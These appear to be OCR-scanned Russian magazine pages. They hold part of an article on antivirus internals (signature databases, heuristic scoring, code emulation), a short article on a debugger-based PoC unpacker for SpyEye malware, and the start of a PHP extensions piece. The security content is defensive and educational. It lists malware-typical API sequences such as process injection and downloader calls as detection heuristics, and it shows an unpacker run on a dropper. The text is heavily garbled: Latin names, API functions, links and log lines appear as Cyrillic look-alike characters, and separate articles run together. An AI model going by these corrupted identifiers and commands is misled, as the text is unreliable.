действие программы и т. д. 

В рамках предложенной модели любую систему защиты можно 
представить в виде совокупности двух независимых составляю- 
щих: технического и аналитического компонентов определенных 
типов. Такой подход позволяет легко увидеть соотношение этих 
компонентов и их принципиальные плюсы и минусы. 



СИГНАТУРНЫЙ ПОИСК (КЛАССИКА ЖАНРА) 



Использовать сигнатурный поиск в той или иной модификации 
для обнаружения вирусов и других вредоносных программ начали 
уже самые первые антивирусы. В общем случае сигнатура — это 
уникальная строка (последовательность) байт, которая однознач- 
но соответствует той ли иной вредоносной программе. Понятно, 
что чем длиннее сигнатура, тем меньше вероятность ложного 
срабатывания антивируса, следовательно, идеальной сигнатурой 
является весь код вредоносной программы. Но с учетом того, что 
количество вредоносных программ постоянно растет, нетрудно 
представить, сколько места заняли бы в этом случае антивирус- 
ные базы на твоем жестком диске. К слову сказать, количество за- 
писей в базах современных антивирусов уже превышает несколь- 




Рисунок 3. Содержимое файла с НЕХ-сигнатурами антивирусного сканера СІатАѴ 
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ТЕХНОЛОГИИ, УСКОРЯЮЩИЕ 
СИГНАТУРНОЕ СКАНИРОВАНИЕ 



Начать, наверное, стоит с технологии, которую специалисты из 
«Лаборатории Касперского» называют іСНескег. Она позволяет не 
проверять уже проверенное, если оно не подвергалось никаким из- 
менениям. Антивирус ведет специальную базу с контрольными суммами 
проверенных объектов. Прежде чем проверять файл по сигнатурам, 
сканер смотрит, менялся ли файл после последней проверки: если не 
менялся, то проверка этого файла по сигнатурам не выполняется. Такая 
технология втом или ином виде реализована во многих антивирусных 
продуктах. К примеру, в Рапба Бо^ѵѵаге ее называют ШгаРазС а в 
антивирусной утилите АѴ2 она работает на основе базы, содержащей 
контрольные суммы безопасных (проверенных и неинфицированных] 
объектов (то есть «антивирус наоборот»]. 

Технология І5ѵѵій (ранее носила имя І5*геат] представляет 
собой модификацию технологии ІСНескег для файловых систем 
КІТР5. Она основана на использовании альтернативных потоков 
для хранения информации о результатах проверок файла и 
применении специального алгоритма, который принимает решение о 
необходимости проверки. 




Рисунок 4. Маскировка расширения файла, выявленная АѴ2 



ко миллионов. Поэтому в большинстве случаев слишком длинные 
сигнатуры представлены в виде контрольных сумм. Как правило, 
используются ІПСІ5-ХЭШИ участков вредоносного кода или всего 
вредоносного файла. 

Для примера можно рассмотреть содержимое баз антивируса 
СІатАѴ. Это один из немногих, если не единственный широко ис- 
пользуемый антивирус с открытой структурой, который позволяет 
в том числе посмотреть, из чего состоят антивирусные базы. В них 
содержатся два основных файла в упакованном виде: таіп.сѵсі и 
баііу.сѵсі. После распаковки каждый из этих файлов распадается 
на несколько других с разными видами сигнатур. На рисунке 2 
показано содержимое файла с ппсіб-сигнатурами. Все достаточно 
просто: каждая запись содержит непосредственно тсІ5-хэш, да- 
лее идет длина сигнатуры, после чего следует название малвари. 
В качестве сигнатур антивирусы могут использовать хэши разных 
участков кода: всего вируса; произвольного участка определен- 
ной длины, взятого из конкретного места внутри кода; произ- 
вольного участка определенной длины, взятого из любого места 




Рисунок 5. Пример «нормальных» атрибутов секций кода и секций данных 



внутри кода (плавающий участок); какой-либо секции; участка 
определенной длины, который начинается с точки входа, и т. п. 

Помимо контрольных сумм участков вредоносного кода, 
антивирусы могут использовать так называемые НЕХ-сигнатуры, 
которые представляют собой последовательности байт относи- 
тельно небольшой длины (обычно от 20 до 400 байт), взятые из 
тела вредоносного кода. 

Стоит отметить, что от тщательности подбора этих строк 
зависит однозначность определения вируса и частота ложных 
срабатываний. Строка должна быть уникальной, то есть вероят- 
ность ее повторения в безопасных программах должна быть очень 
и очень невелика. 

Такие сигнатуры могут быть постоянными (для поиска только 
одного вида вредоносных программ) или содержать разные маски 
(для поиска нескольких вирусов одного семейства или разных 
модификаций одного и того же вируса). На рисунке 3 показаны 
НЕХ-сигнатуры из базы баііу.сѵсі уже знакомого нам антивирусного 
сканера СІатАѴ. Среди них присутствуют как постоянные сигна- 
туры, так и сигнатуры с разными масками. Кроме выделенных на 
рисунке масок, существуют и другие: пропуск любого количества 
байт, пропуск строго определенного количества байт, выбор одно- 
го байта из нескольких. 

Итак, с самими сигнатурами все ясно. Чтобы понять, как они 
используются, рассмотрим нашу двухэлементную схему. Техниче- 
ский компонент сканера предоставляет аналитическому компо- 
ненту либо контрольную сумму нужного участка или всего файла, 
либо проверяемый объект (файл или участок памяти) в виде 
последовательности байт, в которой и проводится поиск НЕХ- 
сигнатур. В первом случае аналитический компонент сравнивает 
полученную контрольную сумму со всеми соответствующими за- 
писями в базе сигнатур и в случае совпадения поднимает тревогу. 
Во втором случае выполняется так называемый поиск подстроки 
в строке, то есть поиск всех сигнатур в проверяемом объекте. 
Конечно, если искать сигнатуру в файле простым побайтным 
сравнением, то этот процесс затянется достаточно надолго. Для 
ускорения такого поиска применяется много разных алгоритмов, 
самым известным среди которых является алгоритм Бойера-Мура. 
Антивирусы используют для своих целей специально оптимизи- 
рованные алгоритмы, причем они могут различаться для разных 
типов файлов (одно дело — искать строку текста, например, в 
Э5-скрипте, и совершенно другое — последовательность байт в 
исполняемом файле). Сигнатурный поиск осуществляется либо по 
запросу пользователя (это умеют делать все антивирусы), либо пу- 
тем непрерывного мониторинга обращений ко всем файлам и про- 
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Рисунок 6. Подозрительная секция с именем бідрусІІ в трояне ѴѴіп32.РаІеѵо 

верки открываемых файлов на лету. В первом случае антивирус 
(обычно с помощью АРІ-функций РіпсІРігзІ и РіпсШехі) поочередно 
проверяет все файлы в выбранной области. Второй вариант реа- 
лизуется, как правило, либо путем внедрения в драйвер файловой 
системы, либо за счет перехвата АРІ-функций обращения к фай- 
лам (обычно это ІМШрепРіІе и ШСгеаІеРіІе). С помощью одной из 
этих функций сканер ищет вирусы во всех открываемых файлах, 
которые соответствуют указанному типу. Если антивирус ничего 
не находит, работа с файлом продолжается как обычно, если файл 
определяется как вредоносный, то антивирус блокирует его или 
удаляет или выполняет другое действие в соответствии со своими 
настройками. 

Плюсы и минусы такого подхода к поиску вредоносного кода 
очевидны. Сигнатурный метод, пожалуй, является единственным 
методом, который позволяет гарантированно находить известные 
вирусы (то есть те, сигнатуры которых имеются в антивирусной 
базе). Однако он бессилен против новых, еще не известных злов- 
редов, а от обнаружения нового вируса до появления его сигнату- 
ры в базах иной раз проходит немало времени. 



ЭВРИСТИКА: НАЙДИ ТО, НЕ ЗНАЮ ЧТО 



Если под сигнатурным поиском практически все производители 
понимают одно и то же, то термин «эвристика» окутан туманом. 
Большой энциклопедический словарь относит к эвристическим 
методам специальные методы, используемые в процессе откры- 
тия нового, а также способы слепого поиска решения для нечетко 
поставленных задач. 

На современном этапе развития систем защиты от вирусов 
эвристические методы в основном используются в аналитиче- 
ском компоненте защиты, а не реализуются в виде определенных 
технологий. Иными словами, под «эвристическим детектиро- 
ванием» производитель подразумевает некую систему защиты, 
аналитический компонент которой работает по принципу слепого 
поиска решения. При этом технический компонент защиты может 
быть каким угодно, а способ сбора информации для последующе- 
го анализа может осуществляться любыми методами — от работы 
с файлами до работы с событиями или состоянием операционной 
системы. 

В общем виде эвристический анализатор в антивирусе пред- 
ставляет собой определенный набор правил (в принципе, тоже 
своего рода сигнатур). Система использует эти правила, чтобы на 
основе данных, предоставленных техническим компонентом, вы- 
нести решение о том, является ли анализируемая программа или 
анализируемое событие вредоносным. 



Пусть, к примеру, антивирус должен регистрировать следующие 
особенности: 

• помимо обычных атрибутов ЕХЕСІІТЕ и РЕ Ай, секция с кодом 
имеет атрибут ѴѴРІТЕ; 

• точка входа находится в РЕ-заголовке файла; 

• энтропия секции кода меньше четырех; 

• файлупакован каким-либоупаковщиком. 

Каждой из них соответствует так называемый весовой коэф- 
фициент опасности, или, проще говоря, некоторое количество 
баллов (какое именно, определяют эксперты в антивирусных ла- 
бораториях; каждый антивирус имеет собственный набор правил 
и собственные весовые коэффициенты). При анализе файла эти 
баллы складываются, и если сумма превышает порог опасности, 
то проверяемый файл берется «на карандаш». Конечно, реальные 
антивирусные программы используют куда больше правил, чем 
мы привели для примера. Какими могут быть эти правила, мы 
сейчас и рассмотрим. 

Как и положено при научном подходе, прежде всего нам нужно 
определиться с классификацией. Будем классифицировать пра- 
вила с учетом данных, предоставляемых техническим компонен- 
том. 

Итак, технический компонент может предоставить нам следую- 
щую информацию: 

• данные о проверяемом файле, которые можно добыть без его 
запуска (то есть результаты так называемого статического ана- 
лиза); 

• данные о проверяемом файле, для получения которых его необ- 
ходимо запустить (то есть резул ьтаты динамического анализа). 

Что мы можем узнать о файле, не запуская его? Оказывается, 
довольно много. Начать можно с анализа его имени: 

• имя файла может сов падать с именем обнаруженного ранее 
вредоносного объекта; 

• в имени может быть много пробелов (имена обычных файлов, как 
правило, не содержат большого количества пробелов, однако 
многие вирусы с их помощью маскируют свое истинное рас- 
ширение, чтобы скрытьсвоюсущность, например вирус может 
иметь имя рбоіодрд.ехе); 

• исполняемый файл может иметь несоответствующее расшире- 
ние (конечно же, это не обязательно таит в себе опасность, но 
некоторые вредоносные программы любят маскировать свои 
РЕ-файлы, присваивая им расширение .рй или .сот); 

• файл может не иметь видимого имени (то есть файл имеет имя 
вида .ехе или .рііф 

Такой скрупулезный подход к анализу имени файла исполь- 
зует, например, антивирусная утилита АѴ2 (рисунок 4). Многие 
антивирусы также отслеживают подозрительные имена файлов и 
распознают их истинное расширение, если оно замаскировано с 
помощью большого количества пробелов. 

Далее рассмотрим точку входа. В подавляющем большин- 
стве «нормальных» файлов точка входа находится в секции ІехЕ 
Если же точка входа находится в РЕ-заголовке или, хуже того, в 
конце последней секции, по которой прописан )тр куда-то внутрь 
файла, то у эвристического движка появляется еще один повод 
накинуть несколько баллов при анализе файла. 

Мы уже упоминали, что типичная секция кода, как прави- 
ло, предназначена только для выполнения и чтения, а секция 
данных — только для чтения и записи (рисунок 5). Антивирусу 
стоит обратить пристальное внимание на секцию кода, в которую 
можно писать, и на секцию данных, которую можно запускать на 
выполнение. 

Раз уж речь зашла о секциях, нельзя не отметить то, что на- 
звания самих секций в «правильных» программах обычно носят 
«правильные» имена (.Іехі, .баіа, .ібаіа, .гсіаіа, .геіос, .гзгс). Одна- 
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Рисунок 7. Последовательность АРІ-функций, характерная для инжекта 
посторонней йЫ. в ехріогег.ехе, и реакция эвристического анализатора 
«Антивируса Касперского» на эту последовательность в коде программы 

ко в некоторых вредоносных программах могут иметься секции с 
непонятными именами, которые в большинстве случаев сгенери- 
рованы случайным образом (рисунок 6). 

Таблица импорта исполняемого файла тоже может содер- 
жать кое-что интересное, к примеру, продукт АпІіѴігиз РІиз от 
компании МсАіюе анализирует импорт на наличие функций, 
которые чаще всего используются в зловредах. Например, типич- 
ный троян-даунлоадер использует связку двух АРІ-функций — 
ІіРЮоѵѵпІоасІТоРіІе и 5ЬеІІ Ехесиіе. К «опасным» функциям также 
можно отнести, например, связку ѴИиаІАІІос, ѴѴпІеРгосеззМетогу 
и СгеаІеРетоІеТЬгеасІ. Наличие этих функций в импорте может 
служить признаком того, что в запущенный процесс внедрен вредо- 
носный код. Конечно, при этом нельзя сделать однозначный вывод 
о вредоносности объекта, но насторожиться все же имеет смысл. За- 
шифрованные или обработанные упаковщиком секции кода, обычно 
характерные для вредоносных файлов, выявляются при статическом 
анализе. Для этого нужно подсчитать частоту повторения тех или 
иных опкодов и определить степень их зависимости друг от друга, а 
затем свести все это к энтропии. 

Ну и напоследок необходимо проанализировать непосред- 
ственно сам код на наличие участков, характерных для мал ва- 
ри. В современном мире не принято использовать чистый азт, 
практически все зловреды пишутся на языках высокого уровня (в 
основном на С#, С, С Виіісіег и ѴВ). Поэтому конструкции для вне- 
дрения кода в процесс ехріогег.ехе, или, к примеру, для установки 
перехвата на определенный тип событий, или хотя бы для той же 
самой загрузки файла из сети и его запуска, осуществляемых да- 
унлоадерами, часто содержат очень похожие последовательности 
кода, которые можно отследить (рисунок 7, 8). 

Итак, мы выжали из статического анализа файла все что мож- 
но. Но как быть, если файл полностью или частично зашифрован 
или обработан упаковщиком? Конечно, при статическом анализе 
мы запросто сможем это определить (подсчитав энтропию или 
выявив участки кода, характерные для упаковщиков), однако 
наличие в файле обработанных упаковщиком или зашифрованных 
секций не является однозначным признаком вредоносности. Не- 
которые производители программного обеспечения для защиты 
своих высокоинтеллектуальных творений любят шифровать 
участки кода, чтобы скрыть их от посторонних глаз. А уж упаков- 
щиками пользуются все кому не лень. Даже некоторые произво- 
дители антивирусных программ применяют их для уменьшения 
объема (АѴ2, например, упакован с помощью ІІРХ). 



Кроме того, код может не вызывать АРІ-функции из табли- 
цы импорта, а загружать нужные 0І_І_ в ходе работы, опреде- 
лять адреса вызываемых функций с помощью, например, 
СеіРгосАсІсІгезз и хранить их имена в зашифрованном виде, 
осуществляя расшифровку с помощью какого-нибудь хитрого 
алгоритма непосредственно перед вызовом. Без динамического 
анализа, то есть без запуска кода на выполнение, здесь уже не 
обойтись. Конечно, напрямую подозрительный код никто не запу- 
скает, так как это сродни игре в русскую рулетку. Здесь на помощь 
приходит эмуляция кода. 



ТИПЫ ЭМУЛЯТОРОВ 



Итак, мы уже выяснили, что динамический анализ кода проводит- 
ся при его эмуляции, когда происходит разбор кода на отдельные 
инструкции и имитация их выполнения. Перечислим основные 
подходы к эмуляции кода: 

• обычнаятрассировка программы, тоестьеезагрузка в памятьи 
исполнение путем использования отладочного прерывания; 

• полностью программный способ, когда процедуры эмулятора 
разбирают и выполняют весь эмулируемый код; 

• комбинация этих двух способов или частичное выполнение 
эмулируемого кода на реальном процессоре. 

Недостаток первого способа состоит в его небезопасности. 

Вредоносному коду ничего не стоит обломать процесс трассиров- 
ки и выйти из-под контроля отладчика. Второй способ гораздо 
безопаснее. Кусок кода считывается в буфер эмулятора, раз- 
бирается на инструкции, после чего их исполнение эмулируется 
с помощью разных трюков. Правда, на правильную имитацию 
исполнения всех команд и инструкций может понадобиться очень- 
очень много сил и времени. 

Поэтому, как правило, эти два способа комбинируют. Из 
эмулируемого кода берут блок «безопасного» кода (то есть та- 
кого, который не сможет навсегда перехватить управление или 
обрушить программу, попытавшись, например, записать данные 
в недоступную для записи область памяти) и передают на испол- 
нение реальному процессору, а затем возвращают управление 
эмулятору. При таком подходе можно добиться гораздо более 
высокой скорости исполнения, однако он не так прост в реали- 
зации. Эмулируемый код нужно выбирать или модифицировать 
таким образом, чтобы после его передачи реальному процессору 
не возникало ошибок, а после исполнения можно было вер- 
нуться обратно в эмулятор. Общий алгоритм работы эмулятора 
представлен ниже. 

Инициализация эмулятора: 

1. Разбор и установка параметров, переданных эмулятору антиви- 
русом (тип исполняемого файла, его размер, количество секций, 
точка входа ит. п.). 

2 . Инициализация буфера необходимого размера в памяти и за- 
грузка в негоэмулируемого кода. 

3. Инициализация буфера под виртуальный стек. 

4 . Инициализация виртуальных регистров. 

Начало цикла эмуляции программы: 

5 . Разбор инструкции дизассемблером (втом случае, если во 
время работы была допущена ошибка, например встретилась 
неизвестная команда, эмулятор завершает работу). 

6 . Разбор параметров инструкции (размер инструкции, исполь- 
зуемые регистры, тип имитации исполнения), полученной от 
дизассемблера, и переход к пункту 7 или 8 в зависимости оттого, 
какие действия необходимы для имитации исполнения инструк- 
ции (параметр, который определяетдизассемблер). 

7 . Запуск инструкции на реальном процессоре и переход к пункту 9. 

8 . Полная имитация выполнения инструкции. 

9 . Анализ результата эвристическим анализатором (поиск по- 
следовательностей инструкций и команд, характерных для 
вредоносных программ). 
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Рисунок 8. Последовательность АРІ-функций, характерная для трояна-даунлоадера, и реакция эвристического анализатора «Антивируса Касперского» на эту последовательность в 
коде программы 



10. Переводуказателя на следующую инструкцию (увеличение вир- 
туального ЕІР). 

11. Переход к началу цикла (если время, отведенное на эмуляцию 
программы, не было превышено или эвристический анализатор 
антивируса не поднял тревогу). 

При имитации выполнения программы для хранения значе- 
ний регистров используются специальные переменные — вир- 
туальные регистры. Для того чтобы эмулируемая программа не 
испортила данные, которые антивирус хранит в стеке, под них 
отводится специальный буфер, обычно называемый виртуальным 
стеком. Все манипуляции, производимые со стеком при имитации 
исполнения программы, совершаются в этом буфере. 

Перед эмуляцией программы необходимо установить значе- 
ния виртуальных регистров ЕйХ, Е5Р и ЕІР. Остальные регистры 
могут иметь произвольные значения. Регистры ЕйХ и ЕІР должны 
содержать значение точки входа в программу, которое антивирус 
в качестве параметра передает эмулятору. Прежде чем устанав- 
ливать значение регистра Е5Р, необходимо выделить буфер под 
стек. Виртуальный регистр Е5Р должен содержать смещение, 
указывающее на конец этого буфера. 

Эмулятор завершает свою работу в случае ошибки или по 
«служебной необходимости». Ошибки могут возникать по самым 



разным причинам, например если в коде встречается инструкция 
неизвестного типа или эмулируемая инструкция обращается к 
смещениям, находящимся вне буфера, который содержит иссле- 
дуемую программу или виртуальный стек. 

Выход по «служебной необходимости» происходит по дости- 
жении установленной глубины анализа. Глубина анализа — это 
максимальное количество инструкций (или максимальный размер 
участка кода), исполняемых эмулятором. Совершенно понятно, 
что если тратить на анализ каждой программы много времени, 
то процесс сканирования всех файлов жесткого диска затянется 
надолго. Поэтому для каждого исследуемого участка кода с помо- 
щью специальных алгоритмов подбирается оптимальная глубина 
анализа. 



ЗАКЛЮЧЕНИЕ 



Теперь ты знаешь, что кроется «под капотом» антивируса, и, 
встретив слова «сигнатура», «эвристика», «эмуляция программ- 
ного кода» на коробке с антивирусом, сможешь более осмыслен- 
но подойти к выбору средства защиты для своего компьютера. 
Конечно, за кадром остались всякие «проактивные детектиро- 
вания», НІР5, «песочницы» и прочие премудрости, но о них мы 
поговорим как-нибудь в другой раз. ПЕ 
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Дмитрий Олексюк (ѵѵѵѵѵѵ.езадеІаЬ.ги) 



Автоматическая 
распаковка - это просто 



Изящный РоС для 
автоматической 
распаковки малвари 




Расправиться с крипторами и обфускаторами, 
чтобы получить распакованный бинарник 
зловреда, как правило, не представляет труда. 
Но что если счет образцов малвари идет на 
сотни или даже на тысячи? Хочу поделиться 
с тобой результатами успешного эксперимента. 



РАСПАКОВЩИКИ 



Всем известно, что распространяемое «в дикой среде» вредонос- 
ное программное обеспечение в большинстве случаев защищено 
различными упаковщиками, крипторами, обфускаторами. Разуме- 
ется, почти во всех случаях такая «навесная» защита снимается 
голыми руками в отладчике за несколько минут — ведь главной 
целью подавляющего большинства крипторов и обфускаторов, 
которые используются в таіѵѵаге, является борьба с антивирус- 
ными сканерами, а не с реверс-инженерами. Но что делать, если 
для последующего анализа внезапно потребовалось распаковать 
сотню пойманных зловредов? А если тысячу? Разумеется, возиться с 
каждым файлом вручную в этом случае абсолютно нецелесообразно, 
ведь существуют прекрасные универсальные способы полностью 
автоматической распаковки исполняемых файлов, о которых мы и 
поговорим в этой заметке. 

В плане подхода к анализу кода все распаковщики делятся на 
два типа: 

• Статические — не исполняютанализируемый файл на реальном 
процессоре, в среде реальной операционной системы, благодаря 
чему являются наиболее безопасными. 

• Динамические — исполняют код анализируемого файла на реаль- 
ном процессоре, но под контролем отладчика или Оупатіс Віпагу 
ІП5ІгитепІаІіоп Епдіпе. Являются менее безопасными, так как 
вредоносный код теоретически может «сбежать» из-под контроля 
и нанести вред операционной системе, в среде которой происходит 
распаковка. 

Примерами статических распаковщиков могут служить утилиты 
вроде ІІпРВС [ Ыиѵ/ѵІпѴ; ), а также многие другие ( ЫМу/уЫУАУА ). 
Несложно догадаться, что большинство из них предназначено для 
работы с заведомо известными средствами «навесной» защиты. 



АВТОМАТИЧЕСКАЯ РАСПАКОВКА 



Чтобы реализовать автоматическое снятие упаковщика или крип- 
тора независимо от того, какой именно это упаковщик или криптор, 
обычно используют динамические движки. В нескольких словах 
принцип их работы можно сформулировать следующим образом: если 
в процессе исполнения исследуемой программы управление получил 
регион кода, в который ранее производилась запись, то этот регион, 
вероятнее всего, является оригинальным кодом и необходимо выпол- 
нить его дамп. Динамическими универсальными распаковщиками, 
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Вызов СгеаІеТооІНеІр325пар5ІіоІ() в теле БруЕуе, используемый в качестве маркера для автоматической распаковки 



например, являются Раз* ІІпіѵегзаІ ІІпраскег ( собе.доодіе.сот/р/іии/ ) 
и арОх ІІпраск Епдіпе ( Ьі1.1у/ѵРТ2Хр ). Оба они разработаны на основе 
фреймворка ТіІапЕпдіпе от РеѵегзіпдІ-аЬз ( Ьіі.Іѵ/гЕНХБд ). 

Поскольку упомянутые выше движки достаточно сложны и слиш- 
ком громоздки для решения многих задач, я решил по-быстрому раз- 
работать свой собственный автоматический распаковщик, который 
отличался бы гибкостью и простотой интеграции в свою инфраструк- 
туру массового анализа вредоносных программ. 

Для воплощения на практике описанного выше принципа работы 
универсальных динамических распаковщиков нам потребуются до- 
статочно сложные средства анализа кода в процессе исполнения. 
Однако подход можно и упростить, так как вместо отслеживания 
регионов памяти, по которым происходит запись, достаточно устано- 
вить контроль над теми функциями операционной системы, которые 
точно используются в основном теле зловреда, находящегося под 
упаковщиком. 



УПРОЩЕННЫЙ ПОДХОД 



Разумеется, работающий по упрощенному принципу автоматический 
распаковщик нельзя называть по-настоящему универсальным (ведь 
мы должны знать, на какую именно функцию следует установить 
точку останова), но я считаю это не слишком большой платой за воз- 
можность реализовать такой распаковщик в коде буквально за час. 

Основные этапы работы нашего распаковщика при этом будут 
выглядеть так: 

1. Запускаем процесс для исследуемого исполняемого файла, исполь- 
зуя функцию Сгеа*еРгосезз() и флаг 0ЕВІІ(3_РР0СЕ55. 

2 . С помощью функции ѴѴаі*РогОеЬидЕѵеп*() получаем и обрабатываем 
отладочные события запущенного процесса, дожидаясь нотификации 
озагрузкевего контекст нужной нам динамической библиотеки. 

3. Когда нужная нам динамическая библиотека загрузится, устанав- 
ливаем программную точку останова на ту её функцию, которая 
вызывается в теле распакованного зловреда как можно более 
ближе коригинальнойточке входа. Например, для широко из- 
вестного трояна БруЕуе в качестве такой функции я использую 



Сгеа*еТооІНеІр325пар5Ьо*(). Чтобы установить точку останова, в 
начало нужной функции необходимозаписатьбайтОхСС (инструк- 
ция іп*3) с помощью ѴѴгіІеРгосеззМетогуІ). 

4 . Дожидаемся нотификации о срабатывании установленной нами точ- 
ки входа, после чего осуществляем дампинг исполняемого образа 
целевого процесса с помощью РеабРгосеззМетогуО и сохраняем 
дамп на диск. 

Разумеется, полученный в ходе подобной «распаковки» дамп 
невозможно будет ни запустить, ни загрузить в дизассемблер, 
поэтому распаковщик должен выполнить нормализацию дампа 
перед его записью на диск. Нормализация производится следую- 
щим образом: 

1. Устанавливаем значение поля РіІеАІідптеп* опционального за- 
головка равным значению поля БесІіопАІідптеп*. 

2 . Устанавливаем значение поля ІтадеВазе опционального заголовка 
равным адресу, по которому находился исполняемый образ в памяти 
целевого процесса на момент дампинга. 

3. Для всех секций исполняемого образаустанавливаемзначение 
поля РаѵѵОКзе* равным значению поля ѴИиаКШзе* этой же секции. 

Даже после этих манипуляций полученный дамп все равно, ско- 
рее всего, будет неработоспособным (ведь восстановление таблицы 
импортов не рассматривалось), однако, что самое главное, его можно 
будет корректно открыть в ЮА Рго или загрузить в свой процесс с по- 
мощью ЕоасНіЬгагуЕхО с флагом '00МТ^Е50І_ѴЕ_0І_І__РЕРЕРЕІ\ІСЕ5' 
для последующего изучения. 



РОС: 5ІМРЕІІМРАСКЕР 



Рассмотренные принципы автоматической распаковки я воплотил 
в простой утилите под названием БітреІІпраскег, исходные тексты 
и исполняемый файл которой доступны в репозитории на біЖиЬ 

( діІбиЬ.сот/СгДзб/БітрІеЦпраскег ). БітреІІпраскег представляет 
собой программу командной строки, которая запускается из консоли 
следующим образом: 
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Исследуем полученный дамп в ЮА Рго 



> Бітріеііпраскег.ехе <іпрігЕ_й!е> --Ьр <тос1и1е>!<-РипсЫоп> 

В качестве параметра іприМіІе указывается путь к исполняемому 
файлу, распаковку которого необходимо выполнить, а ключ ' - - Ьр ' 
указывает функцию, на которую следует установить точку останова. 
Для установки нескольких точек останова используй несколько 
ключей '--Ьр' в параметрах командной строки. Распакованный файл 
сохраняется в текущем каталоге под именем битресі.ехе. 

Поскольку этот динамический распаковщик довольно примитивен, 
все эксперименты по распаковке следует проводить в среде операци- 
онной системы, запущенной на виртуальной машине. Пример работы 
ЗітрІеІІпраскег.ехе при распаковке установщика трояна ЗруЕуе: 



С:\> Бітріеііпраскег.ехе сігоррег.ехе --Ьр кегпе132.сІ11 ! 
СгеаіеТооИіе1р325парзІіо1: 

[ + ] Вгеакроіпі: кегпе132.сИ1!СгеаіеТоо1бе1р325пар5Ііоі() 

[ + ] Ргосезз соттапсі Нпе: "сігоррег.ехе" 

СКЕАТЕ_РКОСЕ55 : Іта§еВазе=0х00400000, 

5іагіАсІсІге5 5=0х00420090 
РИ ЮАР: 0х7с900000 "пісііі .сИІ" 

РИ Ш АР: 0х7с80000 0 " С:\1лІІМР01лІ5\5у5І=ет32\кегпе132.сІ11" 
[+ ] В геак роіп і : о п кегпе 13 2.сІ 11!Сге а іеТоо1 І іе1р325пар5Ііо і О 
баз Ьееп зеі: 0х7с865Ь1і 
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РкЦОАР 

ри_юар 

ВІ_І__І_ОАВ 

РІ_І__ШАР 

РІ_І__ШАР 

РН_ШАР 

ри_юар 

ри_юар 

РН ШАР 



0х7е410000 

0Х77-Р10000 

0x73000000 

0х77сИ0000 

0х77е70000 

0х77-Ре0000 

0х77с10000 

0х3с1930000 

0Х77-Р60000 

0x78130000 

0х774е0000 



"С : \ЫІМРОІлІ5\зу5іет32\и5ЕК32 . сііі" 

"С : \МІМРОІлІ5\зу5іет32\6РІ32 . 611 " 

"С : \ЫІМРОЫ5\зѵ5Іет32\1лІІІ\І5РООІ- . РКѴ" 
"С : \ЫІІ\ІРОЫ5\5ѴЗІет32\АРѴАРІ32 . сііі" 
"С : \ЫІШ01лІ5\зузіет32\КРСКТ4. СІ11" 

"С : \ЫІІ\ІРОІлІ5\зузіет32\5есиг32 .сііі" 

"С : \МІМР0ІлІ5\5у5іет32\т5ѵсгі . сііі'! 

"С : \МІМРОЫ5\зузіет32\ІлІІІ\ІІІ\ІЕТ .сііі" 
"С : \Ыі т01лІ5\зѵ зіет32\5НШАРІ .сііі" 
"С : \ЫІМРОЫ5\зу5Іеіт)32\иг1іт)оп . сііі" 

"С : \ЫІІ\ІР01лІ5\зузіет32\о1е32 . сііі " 



РИ_ЮАР: 0x77120000 "С:\ІлІІМРОІлІ$\зѵ5І=ет32\ОІЕАиТ32.сІ11" 
РЫ.ШАР: ѲхЗсІісІѲѲѲѲ "С : \ЫІШ01лІ5\ з у5іет32\іегіиіі1 . сііі" 
ЕХСЕРТІОІМ ВКЕАКРОІІМТ а1= Ѳх7с9Ѳ12Ѳе 
СКЕАТЕ_ТНКЕАР : 5іагіАсІсІге55=0х00000000 
РН_ШАР: 0x76390000 "С : \МІМРОЫ5\зузіет32\ІММ32 . РІ_І_" 
РІ_І__І_ОАР : 0х773сІ0000 "С : \ІлІІМРОІлІ5\ІлІіп5х5\х86_Місгозо-Р1: . Ілііп 
сіомз . Соттоп -Соп1ігоі5_6595Ь64144ссРісі~Р_6 . 0 . 2600 . 5512_х-ш_35сІ4се83\ 
сотсі132.сІП" 

СКЕАТЕТНКЕАР : 5іагіАсИге55=Ѳх7с81Ѳбе9 
ЕХСЕРТЮІ\І_ВКЕАКРОІІ\ІТ аі 0х7с865Ы-Р 

[+] Вгеакроіпі: оссигз: кегпе132.сІ11!Сгеа1:еТоо1Ізе1р325пар5Ізо1: 
[ + ] Ритріп§ іта§е 0x00400000 5іге=0х0007сІ000 
Ріхіп^ РіІеАІі^птепі 0x00000200 -> 0x00001000 
Ріхіп^ зесііоп гам асісігезз 0x00000400 -> ѲхѲѲѲѲІѲѲѲ 

Ріхіп§ зесііоп гам асісігезз 0x00000400 -> 0x00040000 

Ріхіп§ зесііоп гам асісігезз 0x00021600 -> 0x00062000 

[ + ] Іта§е сіитресі іо "сіитресі . ехе" 

РОІЧЕ 

Если честно, я не ожидал от этого распаковщика каких-либо 
выдающихся результатов, так как он довольно примитивен и 
вредоносные программы легко обнаруживают его. Однако, к моему 
удивлению, он показал весьма неплохие результаты при тестирова- 
нии на ТОР 100 исполняемых файлов с ѴігизТоІаІ по ключевому сло- 
ву ЗруЕуе. Почти все эти файлы были упакованы, и распаковщику 
удалось корректно распаковать около 70% из них (если из ресурсов 
распакованного ЗруЕуе удавалось извлечь его конфигурационную 
информацию, то файл считался успешно распакованным). Я думаю, 
что это очень неплохой результат для инструмента, написанного за 
один вечер. 

В следующих заметках я планирую рассказать о том, как можно 
усовершенствовать этот простой распаковщик, чтобы получать бо- 
лее корректные дампы и усложнить его обнаружение для вредонос- 
ных программ. □С 
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Николай «МОгІагіу» Нежинский (тогіагіуйігопі.ічі) 




Сколько бы некоторые энтузиа- 
сты ни предрекали РНР скорую 
смерть, его популярность даже 
и не думает падать. Это во 
многом обусловлено огромным 
числом экстеншенов, о хитро- 
стях в работе с которыми мы 
сегодня и поговорим. 






Ни автор, ни редакция не 
несут ответственности 
за использование этой 
статьи в целях перехвата 
ту5ЦІ_соппесІ. 



ггп 

На диске вместе 
с исходником 
лежит весь набор 
описанных в статье 
инструментов. 



І'.'АУА'.Ч 

• сіеѵгопе.гепсі.сот/ 
агПсІе/1021 — первая 
из Зх статей от самой 
Сары. 

• НаЬгаИаЬг.ги/Ыоаз/ 
рИр/98862/ — перевод 
статьи из первой 
ссылки. 

« Шр://Ы1.1у/ 
птОГГу — еще одно 
русскоязычное 
введение в 
программирование 
расширений. 

• апиѵѵіп32.5оигсе- 
Гогое.пеі/ — кладезь 
зависимостей. 

• Шр://ресІ.рЬр.пеі/ — 
архив сторонних 
расширений. 

• — 
первая из серии 
статей, посвященных 
реализации РНР- 
классов в расширении. 



нятной документации по разработке расширений РНР не 
существует, а многочисленные документы вроде Ехіепзіоп 
ѴѴгШпд только поверхностно затрагивают эту тему. Попро- 
буем немного восполнить этот пробел. 

